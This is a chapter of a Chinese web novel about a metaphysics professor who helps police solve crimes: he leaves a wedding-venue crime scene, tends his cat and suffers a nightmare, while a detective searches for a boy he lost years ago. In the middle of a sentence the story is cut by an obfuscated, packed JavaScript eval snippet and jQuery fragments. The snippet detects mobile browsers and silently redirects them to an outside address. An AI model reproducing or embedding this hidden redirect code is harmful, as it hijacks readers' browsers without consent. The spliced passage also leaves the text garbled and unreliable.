12. 他的温柔
作品:《玄学教授,爱好破案》 灯火微阑,夜影扶疏。
南涧走过玫瑰花海,穿过枝蔓长廊,走向古堡大门的时候,被叫住。
“南先生?”
是婚礼花艺师高杉涵,捧着一束紫玫瑰,递了过来:“看,这就是我说的冷美人,冷若冰霜,又艳若桃李,神秘高贵,优雅浪漫,气质是不是和您很像?”
紫色沉静,冷香馥郁,水灵新鲜。
南涧低眸:“婚礼用花送给我,是不是不太好?”
“花了钱的,这么扔掉未免可惜,”新娘出事,婚礼不会再继续,有些东西得连夜收拾,高杉涵叹道,“花朵需要人欣赏,要是有一个懂它,配它的人,就更圆满了。”
南涧伸手接过紫玫瑰。
陡然一阵风起,不知从哪里,挟来一朵桂花,小小桂花飘落在紫玫瑰花瓣,灿烂的明黄配浓郁的紫,竟然撞出一种独特风情,明亮而静美。
高杉涵闻到了桂花的味道:“小小一朵,悄悄在街边枝头绽放,好像很低调,人们看一眼就能忘,其实香味最是霸道锋利,这么馥郁的玫瑰都压不下它的花香,被迫纠缠缭绕。”
“锋利啊……”
南涧想起下午橱窗前,帮他点奶茶的金黄小桂花,的确霸道锋利,只一朵,也能让人鼻息盈香。
高杉涵:“南先生……想起了谁?”
南涧垂目:“花就是花,不是人。”
小小桂花温柔芬芳,知情识趣,还能添秋色之美,人就算了,又臭又硬的脾气,好难打交道。
“高先生真是偏心,给谁都送花,就忘了送我。”
女人穿着柔软蓬松的白色连衣裙,微卷长发扎着浪漫的法式蝴蝶结,看起来温柔甜美,是孙恬。
高杉涵转身微笑:“孙小姐可是冤枉我了,听说您要走,最新鲜的流沙玫瑰我可都去妆点您的车了,裸粉色浪漫,珍珠光泽增辉,您一路开车回家,心情一定不错。”
“高先生挑的花,哪个女人拒绝得了,好想现在就得个缘分,能请你做我的花艺师——”
孙恬带着甜美得体,又满满暗示的微笑,走到南涧面前:“这位先生是……警察?”
“算是。”南涧捧着紫色玫瑰,白衬衫领角随风微扬,发丝柔软,眼眸却静深,气质有点让人分不清是干净清澈,还是神秘疏冷,但足够优雅,跟他手里的紫玫瑰很配。
孙恬:“我好像看到过你……就最近,好像是哪个大学生发的小视频?”
南涧:“我的学生有些过分活泼。”
“所以你是大学教授?”孙恬轻轻撩了下耳边头发,笑容更加明媚,“要是有机会旁听您的课就好了,我爸特别尊重老师,有很多和学校合作的项目,我要能跟着您熏陶熏陶,他肯定天天夸我。”
南涧:“有机会的话。这么晚了,孙小姐要走?”
孙恬咬了下唇,颇有几分楚楚:“本来是打算留宿的,谁知道出了这样的事……我有点害怕。”
南涧颌首,表示理解。
孙恬:“你也要走?这里不好叫车,要不我送你?”
“孙小姐不是还没有看到高先生送的花?”南涧微笑,“我想你们应该有话要聊。”
高杉涵:“差点忘了,之前孙小姐预定的金香玉玫瑰……”
孙恬:“真是的,高先生也不提醒我……”
二人可能是真有事要谈,也可能是知情识趣,总之没再打扰南涧,但孙恬离开前,冲南涧笑了下,笑的明媚可人,好像在提醒他——有些人如果错过了,是他的损失。
整个过程,黎曜都看到了。
从高杉涵送玫瑰,到孙恬来撩,他看了个全套。婚礼花艺师到南涧面前,笑容尤其真诚,还专门送花,富家女孙恬到南涧面前,跟在他面前完全不同,全无刻薄犀利,挑剔嫌弃,还笑的明媚活泼,眼睛里像带着小钩子。
可惜全是媚眼抛给瞎子看,人大教授家里,还有位绅士等着呢。
黎曜没过去帮忙,毕竟大教授看起来很擅长处理这些事……直到大教授在门口各种犹豫,迈不开腿,还双眉紧蹙看向远方的盘山路。
这是又选择困难了?
这么长的路,也用选?不找车离开,难道要用两条腿走?
优雅神秘的紫玫瑰,原本和年轻男人气质很配,现在就……一个人犯傻时,再好看,观感也会偏向呆萌。
天这么黑,夜这么晚,大教授这么认真的纠结选择,像攻克什么难关一样苦恼,多少有点让人于心不忍。
黎曜低头给自己的摩托车打火。
引擎启动的声音在夜里非常明显,南涧很快锁定了支队长……那辆哑光黑漆,流线型,超帅摩托车。
“黎队的车真好看……”
他甚至走过去近距离欣赏,眼底有光,或许,他是不是也该买一辆这样的摩托车?好酷好帅的样子。
黎曜直接大长腿一跨,利落扣上头盔:“我的车,不载任何别人。”
南涧:……
我并没有想坐你的车好吗?
“太晚了,不安全,”黎曜直接从警用频道调了辆车,“送南教授回去。”
交代完就走,超酷摩托车在夜色下掀起风浪,碾碎一地桂花,一点都不温柔。
南涧:……
不过,倒是不用选了。
“……目前消息线索整理如上,还在持续寻找汇总,黎队你需要休息,并不需要立刻回局里。”
黎曜的摩托在山路上风驰电掣,耳机里白暖暖的汇报也未停歇,她提醒线索收集整理需要时间,破案急不得,他没答复,只看着远方夜色,问了一句:“南涧……一直在Y市?”
“教授一年前搬来这里,但我们总觉得……他好像是本地人,”白暖暖见支队长想了解团队成员,上来就是一顿猛夸,从相貌品行到性格特点,没一点不好的,“……黎队加了他微信没?”
黎曜:……
“忘了。”
“那可得抓紧,”白暖暖操心道,“以后咱们工作沟通……”
“有电话进来,挂了。”
黎曜切断与白暖暖的连线,接入电话,是周局打来问进度。
“五天能不能破案?我知道案子才发生就催不太好,可马上就是国庆,三号咱们这有个面向全国的表彰大会,你得让我这张老脸好意思坐前排,就算我不要面子,这富豪办婚礼,上过热搜的,影响很大,办不好,你小子跟我一起吃瓜落!”
这点话给黎曜造不成任何压力,他还能气息寻常,情绪稳定的问回去:“为什么让不专业的顾问参与案子?”
周局知道他说的是南涧,语气陡变,笑得像只老狐狸:“问的好,当然是因为……小南并非不专业啊。”
……
南涧回到家,一室漆黑,没有动静,开了灯,换了鞋,走进客厅,仍然没有动静。
“小土?”
连叫三声,没有回应,南涧只好放柔声音:“绅士……乖宝……绅士?”
小猫才跳上沙发,慢悠悠迈着猫步过来,严肃的盯着他,像在质问——
去哪儿浪了?为什么现在才回家?
这是只橘猫,整个背部,后脑勺到耳朵眼睛,都是黄毛,脸,下巴,到整个腹部,爪爪,都是白毛,唯独脖颈这里,有两小片黄毛,像带了个领结。
南涧伸手给它闻味道:“没碰血,没碰脏东西,我们绅士不吃醋,好不好?”
小猫确认了他的安全,勉强满意,但
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15372736|168194||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这味道太呛——
它连打了好几个喷嚏,差点把自己打翻。
“抱歉,”南涧立刻退两步,“我把花插起来,洗个手。”
找到花瓶插好花,认真洗了手,南涧走回来,抱起小猫,掠了眼快光了的食盆:“这不是吃饱了,没渴着也没饿着,怎么心情不好,也不来迎接我,还要哄哄?”
小猫小时候一身黄毛,土土的,起名小土,它不喜欢,脾气傲娇又讲究,才改名叫了绅士,南涧爱逗它,经常叫它小土,把它惹烦了,不高兴了,才连声叫绅士乖宝,把小东西哄成胚胎,它才傲娇让摸。
“好啦好啦,我错了行吗?”
“喵——”小猫从他怀里跳出来。
南涧这才看到茶几下散落的黑白棋子,他之前匆匆离开,棋盘没来得及收起,棋子被小猫咪祸祸,全扫到了地上。
小猫咪一向这么霸道,分明自己做错了事,还要站到制高点:责任全在你,就算猫爪子痒,也是你先放出棋子勾引的!
“喵——”小猫咪站在沙发上,居高临下看他。
“好了,不怪你,”南涧一把把小猫咪重新捞进怀里,亲了一下,“小土乖,嗯?”
“喵嗷——”
小猫咪炸毛,粉嫩爪垫按上他的嘴,不许叫这两个字!
南涧笑出声,狠狠吸了会儿猫,才洗澡换衣服,上床睡觉。
他的居家服色浅绵软,暖光下透着别样蓬松感,跟窗外城市冷光一点都不一样,被子也是,蓬松柔软,好像整个人陷进去就能找不着,有种被包裹的巨大幸福感。
“小土……绅士,陪我睡觉。”
南涧抓住小猫咪强制陪睡,可纵使枕边有个温暖的小东西,他入睡仍然很慢,混沌梦境降临,又被火焰侵蚀,熊熊大火,带着焚尽一切的力量,烧掉所有他跟世界的连接,烧掉站在过往里的人,烧掉家,烧掉柔软的偏爱的不舍的情感,记忆……
“……不要抛弃……不要……”
“不要忘……不要!”
猛然惊醒时,身体蜷缩成团,一身冷汗,手紧紧捂着左腰侧已痊愈的伤口,大脑一片空白。
梦里的东西,永远混沌陆离,永远分不清是幻想还是现实,永远都记不住,记住片段,也想不起与之对应的真实过往……他只记得很痛,痛的要把自己蜷起来,痛的说不出话。
他似乎失去了很多,很重要很重要的东西,他不该那么选择的,不该……
回忆是惩罚。
想不想得起,都是。
习惯性拿起床头柜上硬币,要卜一卦,手指一顿,又放弃了。
没用的,失去的已经永远失去,再也找不回,每次卜卦都是相同结果,这次也不会例外。
南涧垂眼穿上拖鞋,起床洗漱,走到客厅窗边,看到养在玻璃花瓶里的紫玫瑰。
有人爱你吗?
如果可能有刻骨铭心的情感,那我选择不要。
……
天光大亮,古堡庄园的新郎休息室里,睡不到两个小时的黎曜猛然惊醒,胸口剧烈起伏,喘息不停,眼瞳震颤,过了很久,才慢慢平息。
他抹了把脸,从逼仄的沙发上坐起,发了个信息,给不经常联系的联系人。
对方回复很快——
【还没找到。】
【十几年前摄像监控太少,实在不好查,这么久都找不到,可能就……哥你确定,你当年在Y城,真的遇到过什么小少年?临床医生和心理医生不都说你的创伤性失忆不影响生活工作,真的还要找?】
黎曜面无表情,打了三个字过去:继续查。
他不是遇到过什么小少年,他好像是……
弄丢了这个少年。